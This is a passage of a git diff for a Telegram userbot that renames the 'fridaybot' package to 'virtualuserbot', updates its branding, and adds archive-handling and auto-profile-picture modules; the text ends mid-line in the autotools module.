fridaybot/modules/antispam.py rename to virtualuserbot/modules/antispam.py index 067556e4..6227fa8b 100644 --- a/fridaybot/modules/antispam.py +++ b/virtualuserbot/modules/antispam.py @@ -1,7 +1,7 @@ from telethon.events import ChatAction -from fridaybot import bot, sclient -from fridaybot.Configs import Config +from virtualuserbot import bot, sclient +from virtualuserbot.Configs import Config """Bans Spammers/Scammer At time Of Arrival If You Add Him The Bot Won't Restrict.""" @@ -12,6 +12,8 @@ async def ok(event): juser = await event.get_user() if Config.ANTISPAM_FEATURE != "ENABLE": return + if sclient is None: + return if event.user_joined: hmmyep = await borg.get_permissions(event.chat_id, bot.uid) if not hmmyep.is_admin: @@ -19,7 +21,7 @@ async def ok(event): user = sclient.is_banned(juser.id) if user: await event.reply( - f"**#ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" + f"**#ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.ban_code} - {user.reason}`" ) try: await borg.edit_permissions( diff --git a/fridaybot/modules/antivirus.py b/virtualuserbot/modules/antivirus.py similarity index 98% rename from fridaybot/modules/antivirus.py rename to virtualuserbot/modules/antivirus.py index 7954f520..3bc95274 100644 --- a/fridaybot/modules/antivirus.py +++ b/virtualuserbot/modules/antivirus.py @@ -1,8 +1,10 @@ # Lots of lub to @r4v4n4 for gibing the base <3 from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError + +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP @bot.on(admin_cmd(pattern="scan ?(.*)")) diff --git a/fridaybot/modules/app.py b/virtualuserbot/modules/app.py similarity index 98% rename from fridaybot/modules/app.py rename to virtualuserbot/modules/app.py index c589d10e..0df44081 100644 --- a/fridaybot/modules/app.py +++ b/virtualuserbot/modules/app.py @@ -73,7 +73,7 @@ async def apk(event): + app_link + "'>View in Play Store" ) - app_details += "\n\n===> @FridayOT <===" + app_details += "\n\n===> @Infinity_Bots <===" await event.edit(app_details, link_preview=True, parse_mode="HTML") except IndexError: await event.edit("No result found in search. Please enter **Valid app name**") @@ -144,7 +144,7 @@ async def apkr(event): + "'>View in Play Store" ) app_details += "\n\nDownload : Request_Here" - app_details += "\n\n===> @FridayOT <===" + app_details += "\n\n===> @Infinity_Bots <===" await event.edit(app_details, link_preview=True, parse_mode="HTML") except IndexError: await event.edit("No result found in search. Please enter **Valid app name**") diff --git a/virtualuserbot/modules/archiver.py b/virtualuserbot/modules/archiver.py new file mode 100644 index 00000000..c280dff8 --- /dev/null +++ b/virtualuserbot/modules/archiver.py @@ -0,0 +1,418 @@ +""" +usage: reply with file : .rar , .7z create archived file +unzip usage: reply with zipped file .unzipper +Coded by @furki +""" + +import asyncio +import os +import shutil +import tarfile +import time +from datetime import datetime + +import patoolib +from hachoir.metadata import extractMetadata +from hachoir.parser import createParser +from telethon.tl.types import DocumentAttributeVideo + +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config as Var + +from ..utils import admin_cmd, progress + +thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" +extracted = Var.TEMP_DOWNLOAD_DIRECTORY + "extracted/" +if not os.path.isdir(extracted): + os.makedirs(extracted) + + +@borg.on(admin_cmd(pattern=("rar ?(.*)"))) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + reply_message = await event.get_reply_message() + try: + + downloaded_file_name = await borg.download_media( + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY + ) + directory_name = downloaded_file_name + await event.edit("creating rar archive, please wait..") + # patoolib.create_archive(directory_name + '.7z',directory_name) + patoolib.create_archive( + directory_name + ".rar", (directory_name, Var.TEMP_DOWNLOAD_DIRECTORY) + ) + # patoolib.create_archive("/content/21.yy Avrupa (1).pdf.zip",("/content/21.yy Avrupa (1).pdf","/content/")) + await borg.send_file( + event.chat_id, + directory_name + ".rar", + caption="rarred By @VirtualUserbot", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + try: + os.remove(directory_name + ".rar") + os.remove(directory_name) + except: + pass + await event.edit("Task Completed") + await asyncio.sleep(3) + await event.delete() + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + elif input_str: + directory_name = input_str + + await event.edit( + "Local file compressed to `{}`".format(directory_name + ".rar") + ) + + +@borg.on(admin_cmd(pattern=("7z ?(.*)"))) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + reply_message = await event.get_reply_message() + try: + + downloaded_file_name = await borg.download_media( + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY + ) + directory_name = downloaded_file_name + await event.edit("creating 7z archive, please wait..") + # patoolib.create_archive(directory_name + '.7z',directory_name) + patoolib.create_archive( + directory_name + ".7z", (directory_name, Var.TEMP_DOWNLOAD_DIRECTORY) + ) + # patoolib.create_archive("/content/21.yy Avrupa (1).pdf.zip",("/content/21.yy Avrupa (1).pdf","/content/")) + await borg.send_file( + event.chat_id, + directory_name + ".7z", + caption="7z archived By @VirtualUserbot", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + try: + os.remove(directory_name + ".7z") + os.remove(directory_name) + except: + pass + await event.edit("Task Completed") + await asyncio.sleep(3) + await event.delete() + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + elif input_str: + directory_name = input_str + + await event.edit("Local file compressed to `{}`".format(directory_name + ".7z")) + + +@borg.on(admin_cmd(pattern=("tar ?(.*)"))) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + reply_message = await event.get_reply_message() + try: + + downloaded_file_name = await borg.download_media( + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY + ) + directory_name = downloaded_file_name + await event.edit("Finish downloading to my local") + to_upload_file = directory_name + output = await create_archive(to_upload_file) + is_zip = False + if is_zip: + check_if_file = await create_archive(to_upload_file) + if check_if_file is not None: + to_upload_file = check_if_file + await borg.send_file( + event.chat_id, + output, + caption="TAR By @VirtualUserbot", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + try: + os.remove(output) + os.remove(output) + except: + pass + await event.edit("Task Completed") + await asyncio.sleep(3) + await event.delete() + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + elif input_str: + directory_name = input_str + + await event.edit("Local file compressed to `{}`".format(output)) + + +async def create_archive(input_directory): + return_name = None + if os.path.exists(input_directory): + base_dir_name = os.path.basename(input_directory) + compressed_file_name = f"{base_dir_name}.tar.gz" + # suffix_extention_length = 1 + 3 + 1 + 2 + # if len(base_dir_name) > (64 - suffix_extention_length): + # compressed_file_name = base_dir_name[0:(64 - suffix_extention_length)] + compressed_file_name += ".tar.gz" + file_genertor_command = [ + "tar", + "-zcvf", + compressed_file_name, + f"{input_directory}", + ] + process = await asyncio.create_subprocess_exec( + *file_genertor_command, + # stdout must a pipe to be accessible as process.stdout + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + # Wait for the subprocess to finish + stdout, stderr = await process.communicate() + stderr.decode().strip() + stdout.decode().strip() + if os.path.exists(compressed_file_name): + try: + shutil.rmtree(input_directory) + except: + pass + return_name = compressed_file_name + return return_name + + +@borg.on(admin_cmd(pattern="unrar")) +async def _(event): + if event.fwd_from: + return + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + + downloaded_file_name = await borg.download_media( + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY + ) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + else: + end = datetime.now() + ms = (end - start).seconds + await mone.edit( + "Stored the rar to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + + patoolib.extract_archive(downloaded_file_name, outdir=extracted) + filename = sorted(get_lst_of_files(extracted, [])) + # filename = filename + "/" + await event.edit("Unraring now") + # r=root, d=directories, f = files + for single_file in filename: + if os.path.exists(single_file): + # https://stackoverflow.com/a/678242/4723940 + caption_rts = os.path.basename(single_file) + force_document = True + supports_streaming = False + document_attributes = [] + if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")): + metadata = extractMetadata(createParser(single_file)) + duration = 0 + width = 0 + height = 0 + if metadata.has("duration"): + duration = metadata.get("duration").seconds + if os.path.exists(thumb_image_path): + metadata = extractMetadata(createParser(thumb_image_path)) + if metadata.has("width"): + width = metadata.get("width") + if metadata.has("height"): + height = metadata.get("height") + document_attributes = [ + DocumentAttributeVideo( + duration=duration, + w=width, + h=height, + round_message=False, + supports_streaming=True, + ) + ] + try: + await borg.send_file( + event.chat_id, + single_file, + caption=f"UnRarred `{caption_rts}`", + force_document=force_document, + supports_streaming=supports_streaming, + allow_cache=False, + reply_to=event.message.id, + attributes=document_attributes, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "trying to upload") + ), + ) + await event.edit("DONE!!!") + await asyncio.sleep(5) + await event.delete() + except Exception as e: + await borg.send_message( + event.chat_id, + "{} caused `{}`".format(caption_rts, str(e)), + reply_to=event.message.id, + ) + # some media were having some issues + continue + os.remove(single_file) + os.remove(downloaded_file_name) + + +@borg.on(admin_cmd(pattern="untar")) +async def _(event): + if event.fwd_from: + return + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + extracted = Var.TEMP_DOWNLOAD_DIRECTORY + "extracted/" + thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" + if not os.path.isdir(extracted): + os.makedirs(extracted) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY + ) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + else: + end = datetime.now() + ms = (end - start).seconds + await mone.edit( + "Stored the tar to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + with tarfile.TarFile.open(downloaded_file_name, "r") as tar_file: + tar_file.extractall(path=extracted) + # tf = tarfile.open(downloaded_file_name) + # tf.extractall(path=extracted) + # tf.close() + + # with zipfile.ZipFile(downloaded_file_name, 'r') as zip_ref: + # zip_ref.extractall(extracted) + filename = sorted(get_lst_of_files(extracted, [])) + # filename = filename + "/" + await event.edit("Untarring now") + # r=root, d=directories, f = files + for single_file in filename: + if os.path.exists(single_file): + # https://stackoverflow.com/a/678242/4723940 + caption_rts = os.path.basename(single_file) + force_document = False + supports_streaming = True + document_attributes = [] + if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")): + metadata = extractMetadata(createParser(single_file)) + duration = 0 + width = 0 + height = 0 + if metadata.has("duration"): + duration = metadata.get("duration").seconds + if os.path.exists(thumb_image_path): + metadata = extractMetadata(createParser(thumb_image_path)) + if metadata.has("width"): + width = metadata.get("width") + if metadata.has("height"): + height = metadata.get("height") + document_attributes = [ + DocumentAttributeVideo( + duration=duration, + w=width, + h=height, + round_message=False, + supports_streaming=True, + ) + ] + try: + await borg.send_file( + event.chat_id, + single_file, + caption=f"Untared `{caption_rts}`", + force_document=force_document, + supports_streaming=supports_streaming, + allow_cache=False, + reply_to=event.message.id, + attributes=document_attributes, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "trying to upload") + ), + ) + await event.edit("DONE!!!") + await asyncio.sleep(5) + await event.delete() + except Exception as e: + await borg.send_message( + event.chat_id, + "{} caused `{}`".format(caption_rts, str(e)), + reply_to=event.message.id, + ) + # some media were having some issues + continue + os.remove(single_file) + os.remove(downloaded_file_name) + + +def get_lst_of_files(input_directory, output_lst): + filesinfolder = os.listdir(input_directory) + for file_name in filesinfolder: + current_file_name = os.path.join(input_directory, file_name) + if os.path.isdir(current_file_name): + return get_lst_of_files(current_file_name, output_lst) + output_lst.append(current_file_name) + return output_lst + + +CMD_HELP.update( + { + "archive": ".zip reply to a file/media\ + \nUSEAGE: it will zip that file/media\ + \n\n.rar reply to a file/media\ + \nUSEAGE: it will rar that file/media\ + z\n\n. reply to a file/media\ + \nUSEAGE: it will make into .7z that hat file/media\ + \n\n.tar reply to a file/media\ + \nUSEAGE: it will tar that file/media\ + \n\n.unzip reply to a .zip file\ + \nUSEAGE: it will unzip that .zip file\ + \n\n.unrar reply to a .rar file\ + \nUSEAGE: it will unrar that .rar file\ + \n\n.untar reply to a .tar\ + \nUSEAGE: it will untar that .tar file\ +" + } +) diff --git a/fridaybot/modules/art.py b/virtualuserbot/modules/art.py similarity index 94% rename from fridaybot/modules/art.py rename to virtualuserbot/modules/art.py index 6191c1c5..52185cba 100644 --- a/fridaybot/modules/art.py +++ b/virtualuserbot/modules/art.py @@ -1,8 +1,9 @@ # Edit credit @Sur_vivor & @jisan7509 +from virtualuserbot import ALIVE_NAME, CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import ALIVE_NAME, CMD_HELP -DEF = str(ALIVE_NAME) if ALIVE_NAME else "cat" +DEF = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" @bot.on(admin_cmd(pattern="ded (.*)")) @@ -171,15 +172,17 @@ async def kakashi(killer): "⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿\n" "⣿⡿⠋⠋⠀⠀⠀⠀⠀⠀⠈⠙⠻⢿⢿⣿⣿⡿⣿⣿⡟⠋⠀⢀⣩\n" "⣿⣿⡄⠀⠀⠀⠀⠀⠁⡀⠀⠀⠀⠀⠈⠉⠛⢷⣭⠉⠁⠀⠀⣿⣿\n" - "⣇⣀. INDIA🇮🇳INDIA🇮🇳⠆⠠..⠘⢷⣿⣿⣛⠐⣶⣿⣿\n" + "⣇⣀.🇱🇰 SRI LANKA 🇱🇰⠆⠠..⠘⢷⣿⣿⣛⠐⣶⣿⣿\n" "⣿⣄⠀⣰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢀⣠⣿⣿⣿⣾⣿⣿⣿\n" "⣿⣿⣿⣿⠀⠀⠀⠀⡠⠀⠀⠀⠀⠀⢀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠄⠀⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⣠⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⣿⠀⠀⠂⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⣿⣇⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" - "⣿⣿⣿⣿⣿⣿⡆⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" - "⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⡆⠀⢀⣼⣿⢷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿ ⢒⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" ) K = ( @@ -367,8 +370,8 @@ async def bluedevilsupreme(supreme): await edit_or_reply(supreme, I) -@bot.on(admin_cmd(pattern=r"india$")) -@bot.on(sudo_cmd(pattern="india$", allow_sudo=True)) +@bot.on(admin_cmd(pattern=r"srilanka$")) +@bot.on(sudo_cmd(pattern="srilanka$", allow_sudo=True)) async def bluedevilindia(india): await edit_or_reply(india, J) @@ -418,7 +421,7 @@ async def bluedevildislike(dislike): • `.hmf` • `.couple` • `.sup` - • `.india` + • `.srilanka` • `.wc` • `.snk` • `.bye` diff --git a/fridaybot/modules/assistant/README.md b/virtualuserbot/modules/assistant/README.md similarity index 91% rename from fridaybot/modules/assistant/README.md rename to virtualuserbot/modules/assistant/README.md index d37b5241..1c9dcb05 100644 --- a/fridaybot/modules/assistant/README.md +++ b/virtualuserbot/modules/assistant/README.md @@ -1,8 +1,8 @@ # EXAMPLE CODE FOR ASSISTANT MODULE/PLUGIN ```python3 -from fridaybot.Configs import Config -from fridaybot import bot +from virtualuserbot.Configs import Config +from virtualuserbot import bot @assistant_cmd("commandhere", is_args=True) @only_pvt async def shit(event): diff --git a/fridaybot/modules/assistant/adminbot.py b/virtualuserbot/modules/assistant/adminbot.py similarity index 98% rename from fridaybot/modules/assistant/adminbot.py rename to virtualuserbot/modules/assistant/adminbot.py index f494ac45..d6abf5e8 100644 --- a/fridaybot/modules/assistant/adminbot.py +++ b/virtualuserbot/modules/assistant/adminbot.py @@ -211,7 +211,7 @@ async def pin(event): ) return await event.reply("Pinned This Message Sucessfully.") - await get_user_from_id(event.from_id, event) + await get_user_sender_id(event.sender_id, event) @assistant_cmd("kick", is_args=True) @@ -304,12 +304,12 @@ async def mute(event): async def get_user_from_event(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" args = event.pattern_match.group(1).split(" ", 1) extra = None if event.reply_to_msg_id: previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) + user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) elif args: user = args[0] @@ -339,7 +339,7 @@ async def get_user_from_event(event): return user_obj, extra -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) diff --git a/fridaybot/modules/assistant/bot_alive.py b/virtualuserbot/modules/assistant/bot_alive.py similarity index 91% rename from fridaybot/modules/assistant/bot_alive.py rename to virtualuserbot/modules/assistant/bot_alive.py index 7ed63b8f..f900bf9e 100644 --- a/fridaybot/modules/assistant/bot_alive.py +++ b/virtualuserbot/modules/assistant/bot_alive.py @@ -12,11 +12,11 @@ # along with this program. If not, see . -from fridaybot import ALIVE_NAME -from fridaybot.modules import currentversion +from virtualuserbot import ALIVE_NAME +from virtualuserbot.modules import currentversion DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" -PM_IMG = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" +PM_IMG = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" pm_caption = "➥ **ASSISTANT IS:** `ONLINE`\n\n" pm_caption += "➥ **SYSTEMS STATS**\n" pm_caption += "➥ **Telethon Version:** `1.15.0` \n" diff --git a/fridaybot/modules/assistant/id_bot.py b/virtualuserbot/modules/assistant/id_bot.py similarity index 100% rename from fridaybot/modules/assistant/id_bot.py rename to virtualuserbot/modules/assistant/id_bot.py diff --git a/fridaybot/modules/assistant/main_assistant.py b/virtualuserbot/modules/assistant/main_assistant.py similarity index 77% rename from fridaybot/modules/assistant/main_assistant.py rename to virtualuserbot/modules/assistant/main_assistant.py index cd7dcc10..dd830bb0 100644 --- a/fridaybot/modules/assistant/main_assistant.py +++ b/virtualuserbot/modules/assistant/main_assistant.py @@ -16,18 +16,20 @@ import os import re -from telethon import Button, custom, events +import telethon +from telethon import Button, custom, events, functions from telethon.tl.functions.users import GetFullUserRequest +from telethon.utils import pack_bot_file_id -from fridaybot import bot -from fridaybot.Configs import Config -from fridaybot.modules.sql_helper.blacklist_assistant import ( +from virtualuserbot import bot +from virtualuserbot.Configs import Config +from virtualuserbot.modules.sql_helper.blacklist_assistant import ( add_nibba_in_db, is_he_added, removenibba, ) -from fridaybot.modules.sql_helper.botusers_sql import add_me_in_db, his_userid -from fridaybot.modules.sql_helper.idadder_sql import ( +from virtualuserbot.modules.sql_helper.botusers_sql import add_me_in_db, his_userid +from virtualuserbot.modules.sql_helper.idadder_sql import ( add_usersid_in_db, already_added, get_all_users, @@ -45,7 +47,7 @@ async def start(event): hmmwow = devlop.first_name vent = event.chat_id mypic = Config.ASSISTANT_START_PIC - starttext = f"Hello, {firstname} ! Nice To Meet You, Well I Am {bot_id}, An Powerfull Assistant Bot. \n\nMy Master [{hmmwow}](tg://user?id={bot.uid}) \nYou Can Talk/Contact My Master Using This Bot. \n\nIf You Want Your Own Assistant You Can Deploy From Button Below. \n\nPowered By [Friday Userbot](t.me/FridayOT)" + starttext = f"Hello, {firstname} ! Nice To Meet You, Well I Am {bot_id}, An Powerfull Assistant Bot. \n\nMy Master [{hmmwow}](tg://user?id={bot.uid}) \nYou Can Talk/Contact My Master Using This Bot. \n\nIf You Want Your Own Assistant You Can Deploy From Button Below. \n\nPowered By [VirtualUserbot](github.com/inukaasith/virtualuserbot)" if event.sender_id == bot.uid: await tgbot.send_message( vent, @@ -71,8 +73,8 @@ async def start(event): caption=starttext, link_preview=False, buttons=[ - [custom.Button.inline("Deploy a bot like this", data="deploy")], - [Button.url("Help Me ❓", "t.me/inukaasith")], + [custom.Button.inline("Deploy your VirtualUserbot", data="deploy")], + [Button.url("Contact Dev ❓", "t.me/inukaasith")], ], ) if os.path.exists(mypic): @@ -88,10 +90,10 @@ async def help(event): if event.query.user_id is not bot.uid: await tgbot.send_message( event.chat_id, - message="This is a private property. \nThank You For Contacting Me.", + message="You Can Deploy VirtualUserbot In Heroku By Following Steps Bellow, You Can See Some Quick Guides On Support Channel Or On Your Own Assistant Bot. \nThank You For Contacting Me.", buttons=[ - [Button.url("Owner", "https:/github.com/inukaasith")], - [Button.url("Need Help ❓", "t.me/inukaasith")], + [Button.url("Deploy Tutorial 📺", "https://youtu.be/xfHcm_e92eQ")], + [Button.url("Github Repo ❓", "github.com/inukaasith/virtualuserbot")], ], ) @@ -127,6 +129,19 @@ async def users(event): # Bot Permit. @tgbot.on(events.NewMessage(func=lambda e: e.is_private)) async def all_messages_catcher(event): + if Config.SUB_TO_MSG_ASSISTANT: + try: + result = await tgbot( + functions.channels.GetParticipantRequest( + channel=Config.JTM_CHANNEL_ID, user_id=event.sender_id + ) + ) + except telethon.errors.rpcerrorlist.UserNotParticipantError: + await event.reply( + f"**Opps, I Couldn't Forward That Message To Owner. Please Join My Channel First And Then Try Again!**", + buttons=[Button.url("Join Channel ", Config.JTM_CHANNEL_USERNAME)], + ) + return if is_he_added(event.sender_id): return if event.raw_text.startswith("/"): @@ -135,7 +150,6 @@ async def all_messages_catcher(event): return else: await event.get_sender() - event.chat_id sed = await event.forward_to(bot.uid) # Add User To Database ,Later For Broadcast Purpose # (C) @SpecHide @@ -150,34 +164,34 @@ async def sed(event): msg.id msg_s = event.raw_text user_id, reply_message_id = his_userid(msg.id) - if event.sender_id == Config.OWNER_ID: - if event.raw_text.startswith("/"): - return - if event.text is not None and event.media: - bot_api_file_id = pack_bot_file_id(event.media) - await tgbot.send_file( - user_id, - file=bot_api_file_id, - caption=event.text, - reply_to=reply_message_id, - ) - else: - msg_s = event.raw_text - await tgbot.send_message( - user_id, - msg_s, - reply_to=reply_message_id, - ) + if event.sender_id != bot.uid: + return + elif event.raw_text.startswith("/"): + return + elif event.text is not None and event.media: + bot_api_file_id = pack_bot_file_id(event.media) + await tgbot.send_file( + user_id, + file=bot_api_file_id, + caption=event.text, + reply_to=reply_message_id, + ) + else: + msg_s = event.raw_text + await tgbot.send_message( + user_id, + msg_s, + reply_to=reply_message_id, + ) -@assistant_cmd("broadcast", is_args=True) +@assistant_cmd("broadcast", is_args="heck") @god_only async def sedlyfsir(event): - msgtobroadcast = event.pattern_match.group(1) + msgtobroadcast = event.text.split(" ", maxsplit=1)[1] userstobc = get_all_users() error_count = 0 sent_count = 0 - hmmok = "" if msgtobroadcast == None: await event.reply("`Wait. What? Broadcast None?`") return @@ -187,14 +201,9 @@ async def sedlyfsir(event): for starkcast in userstobc: try: sent_count += 1 - await tgbot.send_message( - int(starkcast.chat_id), - "**Hey, You Have Received A New Broadcast Message**", - ) await tgbot.send_message(int(starkcast.chat_id), msgtobroadcast) await asyncio.sleep(0.2) - except Exception as e: - hmmok += f"Errors : {e} \n" + except: error_count += 1 await tgbot.send_message( event.chat_id, @@ -223,8 +232,6 @@ async def starkislub(event): async def starkisnoob(event): if event.sender_id == bot.uid: msg = await event.get_reply_message() - msg.id - event.raw_text user_id, reply_message_id = his_userid(msg.id) if is_he_added(user_id): await event.reply("Already Blacklisted") diff --git a/fridaybot/modules/assistant/notes.py b/virtualuserbot/modules/assistant/notes.py similarity index 96% rename from fridaybot/modules/assistant/notes.py rename to virtualuserbot/modules/assistant/notes.py index 13d03af4..5428f25e 100644 --- a/fridaybot/modules/assistant/notes.py +++ b/virtualuserbot/modules/assistant/notes.py @@ -1,8 +1,8 @@ from telethon import events, utils from telethon.tl import types -from fridaybot.Configs import Config -from fridaybot.modules.sql_helper.snips_sql import ( +from virtualuserbot.Configs import Config +from virtualuserbot.modules.sql_helper.snips_sql import ( add_snip, get_all_snips, get_snips, diff --git a/fridaybot/modules/assistant/ping.py b/virtualuserbot/modules/assistant/ping.py similarity index 98% rename from fridaybot/modules/assistant/ping.py rename to virtualuserbot/modules/assistant/ping.py index e269e4a1..901d2e1b 100644 --- a/fridaybot/modules/assistant/ping.py +++ b/virtualuserbot/modules/assistant/ping.py @@ -15,7 +15,7 @@ import time from datetime import datetime -from fridaybot import Lastupdate +from virtualuserbot import Lastupdate def get_readable_time(seconds: int) -> str: diff --git a/fridaybot/modules/assistant/translater.py b/virtualuserbot/modules/assistant/translater.py similarity index 100% rename from fridaybot/modules/assistant/translater.py rename to virtualuserbot/modules/assistant/translater.py diff --git a/virtualuserbot/modules/autotools.py b/virtualuserbot/modules/autotools.py new file mode 100644 index 00000000..1899b592 --- /dev/null +++ b/virtualuserbot/modules/autotools.py @@ -0,0 +1,298 @@ +# ported from uniborg thanks to @s_n_a_p_s , @r4v4n4 , @spechide and @PhycoNinja13b +#:::::Credit Time:::::: +# 1) Coded By: @s_n_a_p_s +# 2) Ported By: @r4v4n4 (Noodz Lober) +# 3) End Game Help By: @spechide +# 4) Better Colour Profile Pic By @PhycoNinja13b +import asyncio +import base64 +import os +import random +import shutil +import time +from datetime import datetime + +from PIL import Image, ImageDraw, ImageFont +from pySmartDL import SmartDL +from telethon.errors import FloodWaitError +from telethon.tl import functions + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd, edit_or_reply + +AUTONAME = os.environ.get("AUTONAME", None) +DEFAULT_BIO = os.environ.get("DEFAULTBIO", None) +DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " +CHANGE_TIME = int(os.environ.get("CHANGE_TIME", 60)) +DEFAULTUSER = str(AUTONAME) if AUTONAME else "VirtualUserbot" + +FONT_FILE_TO_USE = "Fonts/digital.ttf" +global AUTOPICSTART +global DIGITALPICSTART +global BLOOMSTART +global AUTONAMESTART +global AUTOBIOSTART + +BLOOMSTART = False +AUTOPICSTART = False +AUTOBIOSTART = False +AUTONAMESTART = False +DIGITALPICSTART = False + + +@bot.on(admin_cmd(pattern="autopic ?(.*)")) +async def autopic(event): + if event.fwd_from: + return + global AUTOPICSTART + downloaded_file_name = "virtualuserbot/original_pic.png" + downloader = SmartDL( + Var.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False + ) + downloader.start(blocking=False) + photo = "virtualuserbot/photo_pfp.png" + while not downloader.isFinished(): + pass + input_str = event.pattern_match.group(1) + if input_str: + try: + input_str = -int(input_str) + except ValueError: + input_str = -60 + else: + input_str = 0 + if AUTOPICSTART: + return await edit_or_reply(event, f"`Autopic is already enabled`") + else: + AUTOPICSTART = True + counter = input_str + await edit_or_reply(event, f"`Autopic has been started by my Master`") + while AUTOPICSTART: + shutil.copy(downloaded_file_name, photo) + im = Image.open(photo) + file_test = im.rotate(counter, expand=False).save(photo, "PNG") + current_time = datetime.now().strftime(" Time: %H:%M \n Date: %d.%m.%y ") + img = Image.open(photo) + drawn_text = ImageDraw.Draw(img) + fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) + drawn_text.text((150, 250), current_time, font=fnt, fill=(124, 252, 0)) + img.save(photo) + file = await event.client.upload_file(photo) + try: + await event.client(functions.photos.UploadProfilePhotoRequest(file)) + os.remove(photo) + counter -= input_str + await asyncio.sleep(CHANGE_TIME) + except BaseException: + return + + +@bot.on(admin_cmd(pattern="digitalpfp$")) +async def main(event): + if event.fwd_from: + return + global DIGITALPICSTART + poto = "virtualuserbot/poto_pfp.png" + cat = 